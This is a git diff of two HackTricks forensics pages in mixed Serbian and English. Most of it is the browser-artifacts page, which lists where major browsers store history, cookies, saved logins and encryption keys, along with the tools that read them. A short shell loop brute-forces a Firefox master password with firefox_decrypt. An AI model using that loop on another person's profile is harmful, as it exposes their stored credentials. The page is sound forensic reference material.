--- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md
+++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md
@@ -1,78 +1,79 @@
# Browser Artifacts
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-Drugi načini podrške HackTricks-u:
-
-* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
-* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
-* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
\
-Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako kreirate i **automatizujete radne tokove** uz pomoć najnaprednijih alata zajednice.\
-Pristupite danas:
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-## Artifakti pregledača
+## Browsers Artifacts
-Artifakti pregledača uključuju različite vrste podataka koje čuvaju veb pregledači, poput istorije navigacije, obeleživača i keš podataka. Ovi artifakti se čuvaju u specifičnim fasciklama unutar operativnog sistema, razlikujući se po lokaciji i imenu u različitim pregledačima, ali uglavnom čuvajući slične vrste podataka.
+Browser artifacts include various types of data stored by web browsers, such as navigation history, bookmarks, and cache data. Ovi artefakti se čuvaju u specifičnim fasciklama unutar operativnog sistema, razlikujući se po lokaciji i imenu među pretraživačima, ali generalno čuvaju slične tipove podataka.
-Evo sažetka najčešćih artifakata pregledača:
+Here's a summary of the most common browser artifacts:
-* **Istorija navigacije**: Prati posete korisnika veb sajtovima, korisno za identifikaciju poseta zlonamernim sajtovima.
-* **Automatski podaci**: Predlozi zasnovani na čestim pretragama, pružajući uvide kada se kombinuju sa istorijom navigacije.
-* **Obeleživači**: Sajtovi koje je korisnik sačuvao radi brzog pristupa.
-* **Proširenja i dodaci**: Proširenja pregledača ili dodaci instalirani od strane korisnika.
-* **Keš**: Čuva veb sadržaj (npr. slike, JavaScript fajlove) radi poboljšanja vremena učitavanja sajtova, vredno za forenzičku analizu.
-* **Prijave**: Sačuvane prijavne informacije.
-* **Favikoni**: Ikone povezane sa sajtovima, prikazuju se u tabovima i obeleživačima, korisne za dodatne informacije o posetama korisnika.
-* **Sesije pregledača**: Podaci vezani za otvorene sesije pregledača.
-* **Preuzimanja**: Zapisi fajlova preuzetih putem pregledača.
-* **Podaci o obrascima**: Informacije unete u veb obrasce, sačuvane za buduće predloge automatskog popunjavanja.
-* **Sličice**: Pregledne slike veb sajtova.
-* **Prilagođeni rečnik.txt**: Reči dodate od strane korisnika u rečnik pregledača.
+* **Navigation History**: Prati posete korisnika veb sajtovima, korisno za identifikaciju poseta zlonamernim sajtovima.
+* **Autocomplete Data**: Predlozi zasnovani na čestim pretragama, nude uvid kada se kombinuju sa istorijom pretrage.
+* **Bookmarks**: Sajtovi sačuvani od strane korisnika za brzi pristup.
+* **Extensions and Add-ons**: Ekstenzije ili dodaci pretraživača koje je instalirao korisnik.
+* **Cache**: Čuva veb sadržaj (npr. slike, JavaScript datoteke) kako bi poboljšao vreme učitavanja veb sajtova, vredno za forenzičku analizu.
+* **Logins**: Sačuvane prijavne informacije.
+* **Favicons**: Ikone povezane sa veb sajtovima, pojavljuju se u karticama i oznakama, korisne za dodatne informacije o posetama korisnika.
+* **Browser Sessions**: Podaci vezani za otvorene sesije pretraživača.
+* **Downloads**: Zapisnici datoteka preuzetih putem pretraživača.
+* **Form Data**: Informacije unesene u veb forme, sačuvane za buduće predloge za automatsko popunjavanje.
+* **Thumbnails**: Pregledne slike veb sajtova.
+* **Custom Dictionary.txt**: Reči koje je korisnik dodao rečniku pretraživača.
## Firefox
-Firefox organizuje korisničke podatke unutar profila, čuvajući ih na specifičnim lokacijama zavisno od operativnog sistema:
+Firefox organizuje korisničke podatke unutar profila, koji se čuvaju na specifičnim lokacijama u zavisnosti od operativnog sistema:
* **Linux**: `~/.mozilla/firefox/`
* **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
* **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
-Fajl `profiles.ini` unutar ovih direktorijuma navodi korisničke profile. Podaci svakog profila se čuvaju u fascikli nazvanoj prema promenljivoj `Path` unutar `profiles.ini`, smeštenoj u istom direktorijumu kao i sam `profiles.ini`. Ako nedostaje fascikla profila, možda je obrisana.
+A `profiles.ini` datoteka unutar ovih direktorijuma navodi korisničke profile. Podaci svakog profila se čuvaju u fascikli nazvanoj u `Path` varijabli unutar `profiles.ini`, koja se nalazi u istom direktorijumu kao i `profiles.ini`. Ako nedostaje fascikla profila, možda je obrisana.
-Unutar svake fascikle profila, možete pronaći nekoliko važnih fajlova:
+Within each profile folder, you can find several important files:
-* **places.sqlite**: Čuva istoriju, obeleživače i preuzimanja. Alati poput [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) na Windows-u mogu pristupiti podacima istorije.
-* Koristite specifične SQL upite za izvlačenje informacija o istoriji i preuzimanjima.
-* **bookmarkbackups**: Sadrži rezervne kopije obeleživača.
-* **formhistory.sqlite**: Čuva podatke o veb obrascima.
-* **handlers.json**: Upravljači protokolima.
-* **persdict.dat**: Prilagođene reči rečnika.
-* **addons.json** i **extensions.sqlite**: Informacije o instaliranim dodacima i proširenjima.
-* **cookies.sqlite**: Čuvanje kolačića, sa [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) dostupnim za inspekciju na Windows-u.
-* **cache2/entries** ili **startupCache**: Keš podaci, pristupačni putem alata poput [MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html).
-* **favicons.sqlite**: Čuva favikone.
-* **prefs.js**: Korisnička podešavanja i preferencije.
-* **downloads.sqlite**: Starija baza preuzimanja, sada integrisana u places.sqlite.
-* **thumbnails**: Slike pregleda veb sajtova.
-* **logins.json**: Šifrovane prijavne informacije.
-* **key4.db** ili **key3.db**: Čuva ključeve za šifrovanje osetljivih informacija.
+* **places.sqlite**: Čuva istoriju, oznake i preuzimanja. Alati poput [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) na Windows-u mogu pristupiti podacima o istoriji.
+* Use specific SQL queries to extract history and downloads information.
+* **bookmarkbackups**: Sadrži rezervne kopije oznaka.
+* **formhistory.sqlite**: Čuva podatke o veb formama.
+* **handlers.json**: Upravljanje protokolima.
+* **persdict.dat**: Reči iz prilagođenog rečnika.
+* **addons.json** and **extensions.sqlite**: Informacije o instaliranim dodacima i ekstenzijama.
+* **cookies.sqlite**: Skladištenje kolačića, uz [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) dostupno za inspekciju na Windows-u.
+* **cache2/entries** or **startupCache**: Podaci o kešu, dostupni putem alata kao što je [MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html).
+* **favicons.sqlite**: Čuva favicone.
+* **prefs.js**: Korisničke postavke i preferencije.
+* **downloads.sqlite**: Starija baza podataka preuzimanja, sada integrisana u places.sqlite.
+* **thumbnails**: Mini slike veb sajtova.
+* **logins.json**: Enkriptovane prijavne informacije.
+* **key4.db** or **key3.db**: Čuva ključeve za enkripciju osetljivih informacija.
-Dodatno, provera anti-phishing podešavanja pregledača može se obaviti pretragom unosa `browser.safebrowsing` u `prefs.js`, što ukazuje da li su funkcije sigurnog pregledanja omogućene ili onemogućene.
+Additionally, checking the browser’s anti-phishing settings can be done by searching for `browser.safebrowsing` entries in `prefs.js`, indicating whether safe browsing features are enabled or disabled.
-Za pokušaj dešifrovanja glavne lozinke, možete koristiti [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)\
-Pomoću sledećeg skripta i poziva možete specificirati fajl sa lozinkom za brute force:
+To try to decrypt the master password, you can use [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)\
+With the following script and call you can specify a password file to brute force:
{% code title="brute.sh" %}
```bash
@@ -85,114 +86,123 @@ echo "Trying $pass"
echo "$pass" | python firefox_decrypt.py
done < $passfile
```
+{% endcode %}
+
+![](<../../../.gitbook/assets/image (417).png>)
+
## Google Chrome
-Google Chrome čuva korisničke profile na specifičnim lokacijama zavisno od operativnog sistema:
+Google Chrome čuva korisničke profile na specifičnim lokacijama u zavisnosti od operativnog sistema:
-- **Linux**: `~/.config/google-chrome/`
-- **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
-- **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
+* **Linux**: `~/.config/google-chrome/`
+* **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
+* **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
-U ovim direktorijumima, većina korisničkih podataka se može pronaći u fasciklama **Default/** ili **ChromeDefaultData/**. Sledeći fajlovi sadrže značajne podatke:
+Unutar ovih direktorijuma, većina korisničkih podataka može se naći u **Default/** ili **ChromeDefaultData/** folderima. Sledeće datoteke sadrže značajne podatke:
-- **History**: Sadrži URL-ove, preuzimanja i ključne reči pretrage. Na Windows-u, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html) se može koristiti za čitanje istorije. Kolona "Transition Type" ima različita značenja, uključujući klikove korisnika na linkove, unete URL-ove, podnesene forme i osvežavanja stranica.
-- **Cookies**: Čuva kolačiće. Za inspekciju, dostupan je [ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html).
-- **Cache**: Čuva keširane podatke. Windows korisnici mogu koristiti [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html) za inspekciju.
-- **Bookmarks**: Korisnički obeleživači.
-- **Web Data**: Sadrži istoriju formi.
-- **Favicons**: Čuva favikone veb sajtova.
-- **Login Data**: Uključuje podatke za prijavljivanje poput korisničkih imena i lozinki.
-- **Current Session**/**Current Tabs**: Podaci o trenutnoj sesiji pregledanja i otvorenim tabovima.
-- **Last Session**/**Last Tabs**: Informacije o sajtovima aktivnim tokom poslednje sesije pre nego što je Chrome zatvoren.
-- **Extensions**: Direktorijumi za proširenja i dodatke pregledača.
-- **Thumbnails**: Čuva sličice veb sajtova.
-- **Preferences**: Fajl bogat informacijama, uključujući podešavanja za dodatke, proširenja, iskačuće prozore, obaveštenja i više.
-- **Ugrađena anti-phishing za pregledač**: Da biste proverili da li je anti-phishing i zaštita od malvera omogućena, pokrenite `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Potražite `{"enabled: true,"}` u izlazu.
+* **History**: Sadrži URL-ove, preuzimanja i ključne reči za pretragu. Na Windows-u, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html) može se koristiti za čitanje istorije. Kolona "Transition Type" ima različita značenja, uključujući klikove korisnika na linkove, otkucane URL-ove, slanje obrazaca i ponovna učitavanja stranica.
+* **Cookies**: Čuva kolačiće. Za inspekciju, dostupna je [ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html).
+* **Cache**: Drži keširane podatke. Da bi se izvršila inspekcija, korisnici Windows-a mogu koristiti [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html).
+* **Bookmarks**: Korisnički obeleživači.
+* **Web Data**: Sadrži istoriju obrazaca.
+* **Favicons**: Čuva favicon-e sajtova.
+* **Login Data**: Uključuje podatke za prijavu kao što su korisnička imena i lozinke.
+* **Current Session**/**Current Tabs**: Podaci o trenutnoj sesiji pretraživanja i otvorenim karticama.
+* **Last Session**/**Last Tabs**: Informacije o sajtovima aktivnim tokom poslednje sesije pre nego što je Chrome zatvoren.
+* **Extensions**: Direktorijumi za ekstenzije i dodatke pretraživača.
+* **Thumbnails**: Čuva sličice sajtova.
+* **Preferences**: Datoteka bogata informacijama, uključujući podešavanja za dodatke, ekstenzije, iskačuće prozore, obaveštenja i još mnogo toga.
+* **Browser’s built-in anti-phishing**: Da biste proverili da li su zaštita od phishing-a i zaštita od malvera omogućene, pokrenite `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Potražite `{"enabled: true,"}` u izlazu.
-## **Obnova podataka iz SQLite baze podataka**
+## **SQLite DB Data Recovery**
-Kao što možete primetiti u prethodnim sekcijama, kako Chrome tako i Firefox koriste **SQLite** baze podataka za čuvanje podataka. Moguće je **obnoviti obrisane unose korišćenjem alata** [**sqlparse**](https://github.com/padfoot999/sqlparse) **ili** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
+Kao što možete primetiti u prethodnim sekcijama, i Chrome i Firefox koriste **SQLite** baze podataka za čuvanje podataka. Moguće je **oporaviti obrisane unose koristeći alat** [**sqlparse**](https://github.com/padfoot999/sqlparse) **ili** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
## **Internet Explorer 11**
-Internet Explorer 11 upravlja svojim podacima i metapodacima na različitim lokacijama, pomažući u razdvajanju čuvanih informacija i odgovarajućih detalja radi lakšeg pristupa i upravljanja.
+Internet Explorer 11 upravlja svojim podacima i metapodacima na različitim lokacijama, pomažući u razdvajanju sačuvanih informacija i njihovih odgovarajućih detalja radi lakšeg pristupa i upravljanja.
-### Čuvanje metapodataka
+### Metadata Storage
-Metapodaci za Internet Explorer se čuvaju u `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (sa VX koji može biti V01, V16 ili V24). Pored toga, fajl `V01.log` može pokazati razlike u vremenu modifikacije u odnosu na `WebcacheVX.data`, što ukazuje na potrebu popravke korišćenjem `esentutl /r V01 /d`. Ovi metapodaci, smešteni u ESE bazi podataka, mogu biti obnovljeni i inspektovani korišćenjem alata poput photorec i [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), redom. Unutar tabele **Containers**, može se razlikovati specifične tabele ili kontejneri gde je smešten svaki segment podataka, uključujući detalje keša za druge Microsoft alate poput Skype-a.
+Metapodaci za Internet Explorer čuvaju se u `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (gde je VX V01, V16 ili V24). Pored toga, datoteka `V01.log` može pokazati razlike u vremenu modifikacije sa `WebcacheVX.data`, što ukazuje na potrebu za popravkom koristeći `esentutl /r V01 /d`. Ovi metapodaci, smešteni u ESE bazi podataka, mogu se oporaviti i pregledati koristeći alate kao što su photorec i [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html). Unutar tabele **Containers**, može se uočiti specifične tabele ili kontejneri gde je svaki segment podataka smešten, uključujući detalje o kešu za druge Microsoft alate kao što je Skype.
-### Inspekcija keša
+### Cache Inspection
-Alat [IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) omogućava inspekciju keša, zahtevajući lokaciju fascikle za ekstrakciju keš podataka. Metapodaci za keš uključuju ime fajla, direktorijum, broj pristupa, poreklo URL-a i vremenske oznake koje pokazuju vreme kreiranja, pristupa, modifikacije i isteka keša.
+Alat [IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) omogućava inspekciju keša, zahtevajući lokaciju foldera za ekstrakciju podataka iz keša. Metapodaci za keš uključuju ime datoteke, direktorijum, broj pristupa, URL izvor i vremenske oznake koje označavaju vreme kreiranja, pristupa, modifikacije i isteka keša.
-### Upravljanje kolačićima
+### Cookies Management
-Kolačiće možete istražiti korišćenjem [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), pri čemu metapodaci obuhvataju imena, URL-ove, broj pristupa i različite detalje vezane za vreme. Trajni kolačići se čuvaju u `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, dok se sesijski kolačići nalaze u memoriji.
+Kolačići se mogu istraživati koristeći [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), sa metapodacima koji obuhvataju imena, URL-ove, brojeve pristupa i razne vremenske detalje. Trajni kolačići se čuvaju u `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, dok se sesijski kolačići nalaze u memoriji.
-### Detalji preuzimanja
+### Download Details
-Metapodaci o preuzimanjima su dostupni putem [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), pri čemu specifični kontejneri čuvaju podatke poput URL-a, tipa fajla i lokacije preuzimanja. Fizički fajlovi se mogu pronaći pod `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`.
+Metapodaci o preuzimanjima su dostupni putem [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), sa specifičnim kontejnerima koji drže podatke kao što su URL, tip datoteke i lokacija preuzimanja. Fizičke datoteke se mogu naći pod `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`.
-### Istorija pregledanja
+### Browsing History
-Za pregled istorije pregledanja, može se koristiti [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html), zahtevajući lokaciju izdvojenih fajlova istorije i konfiguraciju za Internet Explorer. Metapodaci ovde uključuju vreme modifikacije i pristupa, zajedno sa brojem pristupa. Fajlovi istorije se nalaze u `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
+Da biste pregledali istoriju pretraživanja, može se koristiti [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html), zahtevajući lokaciju ekstraktovanih datoteka istorije i konfiguraciju za Internet Explorer. Metapodaci ovde uključuju vremena modifikacije i pristupa, zajedno sa brojevima pristupa. Datoteke istorije se nalaze u `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
-### Uneti URL-ovi
+### Typed URLs
-Uneti URL-ovi i vremena njihovog korišćenja se čuvaju u registru pod `NTUSER.DAT` na `Software\Microsoft\InternetExplorer\TypedURLs` i `Software\Microsoft\InternetExplorer\TypedURLsTime`, prateći poslednjih 50 URL-ova unetih od strane korisnika i njihova poslednja vremena unosa.
+Otucani URL-ovi i njihova vremena korišćenja čuvaju se u registru pod `NTUSER.DAT` na `Software\Microsoft\InternetExplorer\TypedURLs` i `Software\Microsoft\InternetExplorer\TypedURLsTime`, prateći poslednjih 50 URL-ova koje je korisnik uneo i njihova poslednja vremena unosa.
## Microsoft Edge
Microsoft Edge čuva korisničke podatke u `%userprofile%\Appdata\Local\Packages`. Putanje za različite tipove podataka su:
-- **Putanja profila**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
-- **Istorija, Kolačići i Preuzimanja**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
-- **Podešavanja, Obeleživači i Lista za čitanje**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb`
-- **Keš**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache`
-- **Poslednje aktivne sesije**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active`
+* **Profile Path**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
+* **History, Cookies, and Downloads**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
+* **Settings, Bookmarks, and Reading List**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb`
+* **Cache**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache`
+* **Last Active Sessions**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active`
## Safari
-Podaci Safari pregledača se čuvaju na lokaciji `/Users/$User/Library/Safari`. Ključni fajlovi uključuju:
+Safari podaci se čuvaju na `/Users/$User/Library/Safari`. Ključne datoteke uključuju:
-- **History.db**: Sadrži tabele `history_visits` i `history_items` sa URL-ovima i vremenima poseta. Koristite `sqlite3` za upite.
-- **Downloads.plist**: Informacije o preuzetim fajlovima.
-- **Bookmarks.plist**: Čuva URL-ove obeleženih stranica.
-- **TopSites.plist**: Najposećeniji sajtovi.
-- **Extensions.plist**: Lista proširenja Safari pregledača. Koristite `plutil` ili `pluginkit` za dobijanje.
-- **UserNotificationPermissions.plist**: Domeni kojima je dozvoljeno slanje obaveštenja. Koristite `plutil` za parsiranje.
-- **LastSession.plist**: Tabovi iz poslednje sesije. Koristite `plutil` za parsiranje.
-- **Ugrađena anti-phishing za pregledač**: Proverite korišćenjem `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Odgovor 1 ukazuje na aktivnu funkciju.
+* **History.db**: Sadrži tabele `history_visits` i `history_items` sa URL-ovima i vremenskim oznakama poseta. Koristite `sqlite3` za upite.
+* **Downloads.plist**: Informacije o preuzetim datotekama.
+* **Bookmarks.plist**: Čuva obeležene URL-ove.
+* **TopSites.plist**: Najčešće posećeni sajtovi.
+* **Extensions.plist**: Lista ekstenzija za Safari pretraživač. Koristite `plutil` ili `pluginkit` za preuzimanje.
+* **UserNotificationPermissions.plist**: Domeni kojima je dozvoljeno slanje obaveštenja. Koristite `plutil` za analizu.
+* **LastSession.plist**: Kartice iz poslednje sesije. Koristite `plutil` za analizu.
+* **Browser’s built-in anti-phishing**: Proverite koristeći `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Odgovor 1 označava da je funkcija aktivna.
## Opera
-Podaci Operinog pregledača se nalaze u `/Users/$USER/Library/Application Support/com.operasoftware.Opera` i dele format za istoriju i preuzimanja sa Chrome-om.
+Opera podaci se nalaze u `/Users/$USER/Library/Application Support/com.operasoftware.Opera` i deli format Chrome-a za istoriju i preuzimanja.
-- **Ugrađena anti-phishing za pregledač**: Proverite da li je `fraud_protection_enabled` u fajlu Preferences postavljen na `true` korišćenjem `grep`.
+* **Browser’s built-in anti-phishing**: Proverite tako što ćete videti da li je `fraud_protection_enabled` u datoteci Preferences postavljeno na `true` koristeći `grep`.
-Ove putanje i komande su ključne za pristupanje i razumevanje podataka o pregledanju čuvanih od strane različitih veb pregledača.
+Ove putanje i komande su ključne za pristup i razumevanje podataka o pretraživanju koje čuvaju različiti web pretraživači.
-## Reference
+## References
-- [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a)
-- [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/)
-- [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file)
+* [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a)
+* [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/)
+* [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file)
+* **Book: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123**
\
-Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako kreirate i **automatizujete radne tokove** uz pomoć najnaprednijih alata zajednice.\
-Pristupite danas:
+Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) za lako izgradnju i **automatizaciju radnih tokova** pokretanih najnaprednijim alatima zajednice na svetu.\
+Pribavite pristup danas:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% hint style="success" %}
+Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Naučite hakovanje AWS-a od početnika do stručnjaka sahtARTE (HackTricks AWS Red Team Expert)!
-* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
-* Nabavite [**zvanični PEASS & HackTricks suvenir**](https://peass.creator-spring.com)
-* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
-* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+Podrška HackTricks
+
+* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
+* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+{% endhint %}
diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md
index 99f7caabb..2788d4a7f 100644
--- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md
+++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md
@@ -1,70 +1,71 @@
-# Lokalno skladištenje u oblaku
+# Lokalna Cloud Skladišta
+
+{% hint style="success" %}
+Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
+Podrška HackTricks
-Drugi načini podrške HackTricks-u:
-
-* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
-* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Otkrijte [**Porodičnu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
-* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
+* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+{% endhint %}
\
